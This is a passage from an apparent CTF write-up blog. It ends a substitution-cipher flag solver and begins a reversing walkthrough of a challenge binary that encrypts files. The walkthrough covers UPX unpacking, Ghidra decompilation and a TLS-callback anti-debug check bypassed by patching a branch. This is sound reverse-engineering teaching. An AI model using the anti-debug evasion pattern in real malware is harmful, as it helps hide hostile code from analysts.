class=\"token string\">'W'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'Z'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'X'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'['</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'Y'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'X'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'Z'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'c'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'a'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'`'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'b'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'a'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'c'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'f'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'d'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'g'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'e'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'d'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'f'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'e'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'g'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'j'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'h'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'k'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'i'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'h'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'j'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'i'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'k'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'n'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'l'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'o'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'m'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'l'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'n'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'m'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'o'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'r'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'p'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'s'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'q'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'p'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'r'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'q'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'s'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'v'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'t'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'w'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'u'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'t'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'v'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'u'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'w'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'z'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'x'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'{'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'y'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'x'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'z'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'3'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'1'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'0'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'2'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'1'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'3'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'6'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'4'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'7'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'5'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'4'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'6'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'5'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'7'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">':'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'8'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">';'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'9'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'2'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'0'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'#'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'!'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'!'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'#'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'&amp;'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'$'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"'\"</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'%'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'\\x7f'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'}'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'y'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'{'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">']'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'_'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'/'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'-'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'\\\\'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'^'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'|'</span><span class=\"token punctuation\">:</span> <span class=\"token string\">'~'</span><span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">36</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token builtin\">dict</span><span class=\"token punctuation\">[</span>result<span class=\"token punctuation\">[</span>order<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> alp<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">dict</span><span class=\"token punctuation\">)</span>\n\n\nans <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token string\">\"0\"</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">37</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    ans<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token builtin\">dict</span><span class=\"token punctuation\">[</span>flag<span class=\"token punctuation\">[</span>order<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span>ans<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 929px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6abeb760f7ee30383598e4e4f4c1a55b/d2c2a/image-20230321211223612.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 17.083333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAhklEQVQI11WNUQ7DIAxDe4JWtBQSJwi2+9/RC6yatI+n50TEbNqFpRfKEGozqr1YMcKBvymR5clzL+gPg/DB1hrdfRkAt3pXmkZRVUInQpFKDbuDZgjbMiCB0gKPeb7ReRNFbvYtnIve++8HYB7bmu9SeJ4nc868rhz5WjmlxH3fF8dx/PkD35VNFfUeUFEAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6abeb760f7ee30383598e4e4f4c1a55b/8ac56/image-20230321211223612.webp 240w,\n/static/6abeb760f7ee30383598e4e4f4c1a55b/d3be9/image-20230321211223612.webp 480w,\n/static/6abeb760f7ee30383598e4e4f4c1a55b/93ef1/image-20230321211223612.webp 929w\"\n              sizes=\"(max-width: 929px) 100vw, 929px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6abeb760f7ee30383598e4e4f4c1a55b/8ff5a/image-20230321211223612.png 240w,\n/static/6abeb760f7ee30383598e4e4f4c1a55b/e85cb/image-20230321211223612.png 480w,\n/static/6abeb760f7ee30383598e4e4f4c1a55b/d2c2a/image-20230321211223612.png 929w\"\n            sizes=\"(max-width: 929px) 100vw, 929px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6abeb760f7ee30383598e4e4f4c1a55b/d2c2a/image-20230321211223612.png\"\n            alt=\"image-20230321211223612\"\n            title=\"image-20230321211223612\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"vessel-cartographer-rev\" style=\"position:relative;\"><a href=\"#vessel-cartographer-rev\" aria-label=\"vessel cartographer rev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Vessel Cartographer (Rev)</h2>\n<blockquote>\n<p>You finally manage to remotely connect to a computer onboard the alien vessel to shutdown the defense mechanisms. However, it instantly starts acting up and ends up deploying malware as a defense mechanism. All your documents including your hard earned map of the vessel topology is now encrypted.</p>\n</blockquote>\n<p>We were given a binary called <code class=\"language-text\">challenge.exe</code> and a file called <code class=\"language-text\">vessel_map.jpeg.owo</code>.</p>\n<p>It appeared that <code class=\"language-text\">vessel_map.jpeg</code> had been encrypted, so we analyzed <code class=\"language-text\">challenge.exe</code> to identify the encryption scheme.</p>\n<p>However, loading it directly into Ghidra did not work well, and the debugger also returned errors.</p>\n<p>We then ran the binary through pestudio for surface-level analysis, which revealed it was packed with UPX.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/c49c4eb70d7be46ab3cef94a7693773c/09e48/image-20230325083111080.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 52.916666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2ElEQVQoz11SSZLbMAzU/38w/5hHJMfMIR7b461kabTQ2qmVZKfByIorqEKBEKFGo8GgqRvUTQPd9977YWQcMIwj5nn564vBxDhtZ/r0mi8+H6cZwe16xeV0RJZmSJIEKf2hFPI8R13X3iVvGBs2rooCdVVA6wZdV6MolI8+bxsEOQGKOEbL4mmayGhGVVVQBBFbmOuyhiEDSzZdoZHde6h0QalmEtFsblhv2NAguEcRbvcIIUEnUhbTWpNpytjDWkugEXCGN44sCKCkOdgcBKoINPnzPDsE6jvF6eMD4eEA3ekVsMPX8QhpNlLLx22H9PIbQ1uirUvs9jvehQQdETHuD59kmcE5i+D64yd+vb0hfH/HwqWI9b1GTLCSeg3DAPV4eE07Mu/bFtHnHipOMOoBstSMdyKTMQQUkSvq5fDPdNfhcr54TcU6VWLRHJtTT1WLNqG+48LE+FqZQsw5jlywu2IH0U0+eAAWyfYFUL45Y+jWL0Vcuts1d9RYauwag+8wRB7FFLvbAHuOfj6d/Zi+WH6W5djXs/VgT6CnBy016amTzP8ElKWcvk5kqr3Qhuwt2VqOZvjwLR/25sL+FXAdftNATBbx1E8YGLOsrAzPZmNl6eY/wD921FDXpWX/KAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/c49c4eb70d7be46ab3cef94a7693773c/8ac56/image-20230325083111080.webp 240w,\n/static/c49c4eb70d7be46ab3cef94a7693773c/d3be9/image-20230325083111080.webp 480w,\n/static/c49c4eb70d7be46ab3cef94a7693773c/e46b2/image-20230325083111080.webp 960w,\n/static/c49c4eb70d7be46ab3cef94a7693773c/7efa9/image-20230325083111080.webp 974w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/c49c4eb70d7be46ab3cef94a7693773c/8ff5a/image-20230325083111080.png 240w,\n/static/c49c4eb70d7be46ab3cef94a7693773c/e85cb/image-20230325083111080.png 480w,\n/static/c49c4eb70d7be46ab3cef94a7693773c/d9199/image-20230325083111080.png 960w,\n/static/c49c4eb70d7be46ab3cef94a7693773c/09e48/image-20230325083111080.png 974w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/c49c4eb70d7be46ab3cef94a7693773c/d9199/image-20230325083111080.png\"\n            alt=\"image-20230325083111080\"\n            title=\"image-20230325083111080\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>We unpacked it using <a href=\"https://github.com/upx/upx\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">upx/upx · GitHub</a> and then decompiled it.</p>\n<p>Skipping ahead to the part that appears to open the target file for encryption:</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 584px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6ef4ec50c2f6b0c2b082f01b2bdef630/e05eb/image-20230325085028269.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 96.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAACBklEQVQ4y6VUC66bMBDM/Q/TG1TqAXqBSlVSkvAJGIP/H2ymC4nSoLy+vtc4bFbC1jC7s56dsN/Qmi8QpkY9TBQerYgQ0qEdDBquMKiG9iuMuoEJGiEFmGjgJ4+UE5Y1z/Oad9J+B/dfESKHFIAY85oZ19hXA4p2wK8Lx4+yw5mV4PqMTpzBNFtBY5q2gM7Sf6ZnzstrbNZ8jbe2NsfmP5s75wLOJ4a2K6FVBal7XGSLduzgvLsdnq+/eYnbd+b5HhuGSx5HDylHWNtTSQSmOiivkHO+H36OawmP7G6AmZjtCfBAuceBF/jJ9/AxPJXzkbUCWttB6wrOCrS6Q60uJFLYsPsUoFInCHGgzHAcTyvLlxgaYqd1SQxH1LJGIY4w3r4AaBrqH6lsCJCGuCLQMMX/B1zBiKHRHKWoUIxH2OBfY7j0cRGlIUHOsqQevgCo5InG5ghJohyGZWwOcA8M34q/TcAK6NyFWFLfvERnGGpd3xl+5LptAek2cH6hKDGKHifKXEn4kJFImJTIUchdUkqY8kQOEzYO88Qw5xmMWfDBopXEUDJUvEfRMXDBEKNACGoddOMNJFURYnwHkD6mJId1PbQfISkrAnCTvTP5VMnLBVcyYhgcjc1ASpPLWCrZLsw0DPlbnOKTQO+IsriNRt8X5NIcQgtk6ldKkdyGMvX40XX+tX4DlDTQQHDYcCoAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6ef4ec50c2f6b0c2b082f01b2bdef630/8ac56/image-20230325085028269.webp 240w,\n/static/6ef4ec50c2f6b0c2b082f01b2bdef630/d3be9/image-20230325085028269.webp 480w,\n/static/6ef4ec50c2f6b0c2b082f01b2bdef630/ec52f/image-20230325085028269.webp 584w\"\n              sizes=\"(max-width: 584px) 100vw, 584px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6ef4ec50c2f6b0c2b082f01b2bdef630/8ff5a/image-20230325085028269.png 240w,\n/static/6ef4ec50c2f6b0c2b082f01b2bdef630/e85cb/image-20230325085028269.png 480w,\n/static/6ef4ec50c2f6b0c2b082f01b2bdef630/e05eb/image-20230325085028269.png 584w\"\n            sizes=\"(max-width: 584px) 100vw, 584px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/6ef4ec50c2f6b0c2b082f01b2bdef630/e05eb/image-20230325085028269.png\"\n            alt=\"image-20230325085028269\"\n            title=\"image-20230325085028269\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Tracing further, we found that the value of <code class=\"language-text\">_Dst</code> is written back to a file at the line <code class=\"language-text\">(*(code *)(param_1 + 0x12e0))(_Dst,nNumberOfBytesToWrite,&amp;DAT_140005050,&amp;DAT_140006c58);</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 652px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/f9aeb5f78a3f43620ff1de1b6e036716/dba9a/image-20230325085829826.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 38.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABYElEQVQoz5VSy26cUBTj/z+t+6qLKJ2hIcBw4b7f3ME1JNm06qJHso6QDrax6e4v3zH232DDBKk15kVh2wY4e4MxJ3o4NyNGiZwLpHlCmQbjI+qe8ed06zKgv5FMaAQtkItDrJY7oFZPEotSTmikZCmcIX2BigkuJ95WpL0hcLfnE52UmooJZpUI2woXJBzJSkkX4UlWq7uwE7lGxH0nPkh8KQh8dtx7a+hSMnQhUHgckuaL7bJ+HKDiuZ/4n+mC98xJQmmPhwiYRcSyZYjNYKV7Y9dLSHmN1k6xgyL/Rvc+evx4zRimgIU5vtwjfvYCWr2STGA1LIkxCL+i8NO+5vjEXw615vEaMYwN0xzxa8p0aiCVpku6txNieCAnCeuYc1iQ2LgMAiYoxNSYe4NPO/PN6B4z0N8PvL1H3N4ixodHP1aKLLBmuJotWbOcM2vDzWKy/2zek2yHsudvVBFY5m9ur2ooww12XwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/f9aeb5f78a3f43620ff1de1b6e036716/8ac56/image-20230325085829826.webp 240w,\n/static/f9aeb5f78a3f43620ff1de1b6e036716/d3be9/image-20230325085829826.webp 480w,\n/static/f9aeb5f78a3f43620ff1de1b6e036716/db2ac/image-20230325085829826.webp 652w\"\n              sizes=\"(max-width: 652px) 100vw, 652px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/f9aeb5f78a3f43620ff1de1b6e036716/8ff5a/image-20230325085829826.png 240w,\n/static/f9aeb5f78a3f43620ff1de1b6e036716/e85cb/image-20230325085829826.png 480w,\n/static/f9aeb5f78a3f43620ff1de1b6e036716/dba9a/image-20230325085829826.png 652w\"\n            sizes=\"(max-width: 652px) 100vw, 652px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/f9aeb5f78a3f43620ff1de1b6e036716/dba9a/image-20230325085829826.png\"\n            alt=\"image-20230325085829826\"\n            title=\"image-20230325085829826\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>From this, we inferred that some function at address <code class=\"language-text\">(param_1 + 0x12e0)</code> was encrypting the file contents loaded into <code class=\"language-text\">_Dst</code> using two 16-byte arrays: <code class=\"language-text\">&amp;DAT_140005050</code> and <code class=\"language-text\">&amp;DAT_140006c58</code>.</p>\n<p>Looking at the address <code class=\"language-text\">(param_1 + 0x12e0)</code>, the calling code suggests that it is derived from some transformation of <code class=\"language-text\">DAT_140005060</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 389px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/73b20a8325c7b60a1c1b9428613bce66/00a4e/image-20230325123627495.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 33.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABO0lEQVQY002QX0+DMBTF+f7fwMTFmBiDcSgblMxlMJ988AOY+LAZGBvsD1lLbwvtaOs6zOLJLyfnnPt2HQAMNKX1mpADh5zRkpCKwablFYWiwsdqnxK85mzPALTS5p8cTDMMK8I2Vb2r2EGoVihx0kKo5hykEp2RJ91KxaWSyqjOdFecKQ3i2p0Sb4LHMR0mPIw5Spg/b8YRQU94Nm7mr5B4dD6C2Qh8r34JapR0ybt5d24Wk7siGhTRbYbud75bD3w28OmDR1xkotCgQCNkkM0anWtowkAHoV2Q85x/uMtPr4zf6HBK/Yg8fkHUag4amGZUMeixlTLrdueGn3G+F2KZiZ91mxWnvIRDnVLIZEs62R6PoihPG0tL8I7TnEPJ6JYB+3vYttCrtGsaaZvuTWut+tBv+qLryfqFXyshev3KZu4yAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/73b20a8325c7b60a1c1b9428613bce66/8ac56/image-20230325123627495.webp 240w,\n/static/73b20a8325c7b60a1c1b9428613bce66/b1289/image-20230325123627495.webp 389w\"\n              sizes=\"(max-width: 389px) 100vw, 389px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/73b20a8325c7b60a1c1b9428613bce66/8ff5a/image-20230325123627495.png 240w,\n/static/73b20a8325c7b60a1c1b9428613bce66/00a4e/image-20230325123627495.png 389w\"\n            sizes=\"(max-width: 389px) 100vw, 389px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/73b20a8325c7b60a1c1b9428613bce66/00a4e/image-20230325123627495.png\"\n            alt=\"image-20230325123627495\"\n            title=\"image-20230325123627495\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>We thought setting a breakpoint at this function call would easily identify which function was being invoked, but a TLS callback implementing anti-debugging was in place, preventing execution under a debugger.</p>\n<p>A <code class=\"language-text\">tls_callback</code> is code that runs before the process entry point is called; anti-debugger logic placed here prevents debugging.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span> <span class=\"token function\">tls_callback_0</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">void</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token punctuation\">{</span>\n  BOOL BVar1<span class=\"token punctuation\">;</span>\n  \n  BVar1 <span class=\"token operator\">=</span> <span class=\"token function\">IsDebuggerPresent</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>BVar1 <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token comment\">/* WARNING: Subroutine does not return */</span>\n    <span class=\"token function\">exit</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Reference: <a href=\"http://www.rohitab.com/discuss/topic/40811-detect-debugger-with-tls-callback/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Detect debugger with TLS callback - Source Codes - rohitab.com - Forums</a></p>\n<p>To enable debugging, we patched the conditional branch from JE to JNE.</p>\n<p>This allowed debugging with WinDbg.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/82b7b0455d117a973f8228ca09bf4f21/04784/image-20230325151908221.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 80%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACkUlEQVQoz2VTaXObMBDl//+d9Hs+NFO7PhIQICFuBJbMIe7TtHY3ZNpmJm92lh1p30ratyhHRJEdqcR/I75GQ4iRw1QrIAHXHfbjpO9VAvYTUdiFlfeELc30EiVJLm1T11UlizzPs7KEb5Zn6TJPj8fD80MDoCPHtsehr8pScO46DotCoCiH49n3/SzPpZRN04BP0xSCxwbH9Q3TtCzLdd26rmFdCBHHMUTjNCmH09m2bYzxR4bneWmaQRxu0A2s64amaUVRQC0gd103jkCclmVRXt9USi2ygVLbc50iu5qGQSmFiirSMbHg8LKqgVw37TjNENw3U0xswTWSJJFl2bZN3k5hMffL72kab7eb5wXE1ImBuqYCTtfW6zI//kJRNY0QrCNkwkEGOofdPhgti3IhYBtZ/tOOfNuR75iryfBiy70n31h7DJuiWxQNO350IU7A4qSUuSh7UTTQ97Zt7/ff2HJ2r/pBNU+IOJEIucQus/zYv2RZIZXokmInCi45dkI3iCHwucxkU1X1PM9BxDA2bUpsi4B+fdcKfgk8N71yaKEiMqkiIy9r2/HgcOjkOk/z2MOD4dosvsC7zA2QXVUVNGhTJC3LUoFreIxbbhSypChyllYokpdyBFV+rWuSCJAKhLC25gOTcw5CgLpQQmFJQmwvYIlJXT+MwySNRZEXBYzdepuhoqYhUA6Y1+sV5k8IHkVR3/fjOChPz8fnE33Rgp0eHnAMdiTsaLKjlRz0YL/XzqajYg/RgIYce7HhRODtSLhxqgSxaNq+rLthWqZl/WzzsoaM82vWtB3MxjDO4Mdp+YiHcVL68b/on3G/v/s0l3kOf0w2DMPH8uccpe3Hf6lfcc1lUcih79d1vX/BH31sYfnjlrodAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/82b7b0455d117a973f8228ca09bf4f21/8ac56/image-20230325151908221.webp 240w,\n/static/82b7b0455d117a973f8228ca09bf4f21/d3be9/image-20230325151908221.webp 480w,\n/static/82b7b0455d117a973f8228ca09bf4f21/e46b2/image-20230325151908221.webp 960w,\n/static/82b7b0455d117a973f8228ca09bf4f21/963af/image-20230325151908221.webp 1174w\"\n              sizes=\"(max-width: 960px) 100vw, 